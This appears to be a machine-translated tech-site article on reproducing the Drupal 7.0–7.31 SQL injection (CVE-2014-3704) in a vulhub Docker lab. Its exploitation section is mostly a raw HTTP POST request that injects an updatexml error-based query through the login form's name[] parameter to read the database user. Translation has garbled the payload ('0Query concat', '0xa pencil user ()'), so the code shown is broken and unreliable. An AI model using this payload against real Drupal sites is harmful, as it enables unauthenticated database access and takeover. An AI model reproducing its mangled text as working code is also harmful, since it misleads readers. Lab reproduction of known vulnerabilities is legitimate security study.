Get the App
SLTechnology News&Howtos  ›  Network Security  › 

How to reproduce Drupal SQL injection vulnerability CVE-2014-3704

Shulou Source: shulou.com Published: 2022-05-31 17:41:59 11月24日 Update

How to reproduce the Drupal SQL injection vulnerability CVE-2014-3704, many novices are not very clear about this. In order to help you solve this problem, the following editor will explain it in detail. People with this need can come and learn. I hope you can get something.

Drupal is an open source content management framework (CMF) written in PHP. It is composed of a content management system and a PHP development framework, and is released under GPL2.0 and update protocols. Won the global best CMS award for many years in a row, it is the most famous WEB application based on the PHP language.

Drupal is a large amount of CMS, and there is a SQL vulnerability that does not require authentication in its version 7.0 to 7.31. Through this vulnerability, an attacker can execute arbitrary SQL statements, insert, modify administrator information, and even execute arbitrary code.

Affected version: 7.0 / 7.31

The following is only for vulnerability recurrence record and implementation, and the utilization process is as follows:

I. loophole environment

This environment is built with vulhub.

Execute the following instructions to complete the environment construction

Cd drupal/CVE-2014-3704 /

Docker-compose up-d

Port 8080 will be opened after startup.

Vulnerability link: http://192.168.101.152:8080/

Installation is required for the first visit. Default installation is used. Fill in drupal for Mysql database name, root for database user name and password, and mysql for address.

After the installation is complete, visit the home page as follows:

Second, vulnerability exploitation

Send a packet directly

POST /? q=node&destination=node HTTP/1.1

Host: 192.168.101.152:8080

Content-Type: application/x-www-form-urlencoded

Content-Length: 120

Pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name [0 or updatexml (0Query concat (0xa pencil user (), 0)% 23] = bob&name [0] = a

The vulnerability can be triggered. Note that Content-Type should be set to application/x-www-form-urlencoded.

Query database

Is it helpful for you to read the above content? If you want to know more about the relevant knowledge or read more related articles, please follow the industry information channel, thank you for your support.

Tags: Vulnerabilities data content databases environments management frameworks versions languages help clarity famous code global address years awards passwords for this applications Apple Docker Huawei Linux macOS MariaDB Microsoft MySQL NVidia OPPO Reno Linux Shulou Tech Info OPPO Reno Apple Huawei